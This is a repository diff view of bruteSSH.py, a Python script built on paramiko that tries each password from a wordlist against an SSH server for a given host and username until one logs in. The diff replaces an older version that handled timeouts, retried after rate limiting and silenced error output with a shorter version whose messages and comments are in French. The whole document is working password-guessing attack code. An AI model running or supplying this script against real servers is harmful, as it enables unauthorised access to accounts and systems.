summaryrefslogtreecommitdiff
path: root/bruteSSH.py
diff options
context:
space:
mode:
Diffstat (limited to 'bruteSSH.py')
-rw-r--r--bruteSSH.py62
1 files changed, 22 insertions, 40 deletions
diff --git a/bruteSSH.py b/bruteSSH.py
index 9f2a001..2cfa67d 100644
--- a/bruteSSH.py
+++ b/bruteSSH.py
@@ -1,48 +1,30 @@
-import sys
-import paramiko
-import socket
-import time
-import os
+import paramiko, sys
-# anything that running this program prints to stderr should be
-# redirected to /dev/null
-#
-os.dup2(os.open(os.devnull, os.O_WRONLY), 2)
-
-def is_ssh_open(hostname, username, password):
- # initialize SSH client
+def bruteforce(hostname, username, password):
client = paramiko.SSHClient()
- # add to know hosts
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
- client.connect(hostname=hostname, username=username, password=password, timeout=3)
- except socket.timeout:
- # this is when host is unreachable
- print(f"[!] Host: {hostname} is unreachable, timed out.")
- return False
- except paramiko.AuthenticationException:
- print(f"[!] Invalid credentials for {username}:{password}")
- return False
- except paramiko.SSHException:
- print(f"[*] Quota exceeded, retrying with delay...")
- # sleep for a minute
- time.sleep(60)
- return is_ssh_open(hostname, username, password)
+ client.connect(hostname, username=username, password=password)
+ except:
+ print("erreur : ",password)
+ #pass
else:
- # connection was established successfully
- print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}")
+ print("trouvé : ",password)
return True
-
+ finally:
+ client.close()
if __name__ == "__main__":
-
-
- with open(sys.argv[3]) as wordlist:
- for password in wordlist.readlines():
- password=password.strip("\n")
- if password.startswith('#'):
- pass
- else:
- if is_ssh_open(sys.argv[1], sys.argv[2], password) == True:
- break
-
+ hostname = sys.argv[1]
+ username = sys.argv[2]
+ dico = sys.argv[3]
+ try:
+ with open(dico, 'r') as wordlist:
+ for ligne in wordlist.readlines():
+ # le fichier nmap.lst à des commentaires en début de fichier
+ if ligne[0] != "#":
+ password=ligne.strip()
+ if bruteforce(hostname,username,password)==True:
+ sys.exit()
+ except IndexError:
+ print(f"{sys.argv[0]} demande une hôte, un username et une liste de passwords en arguments")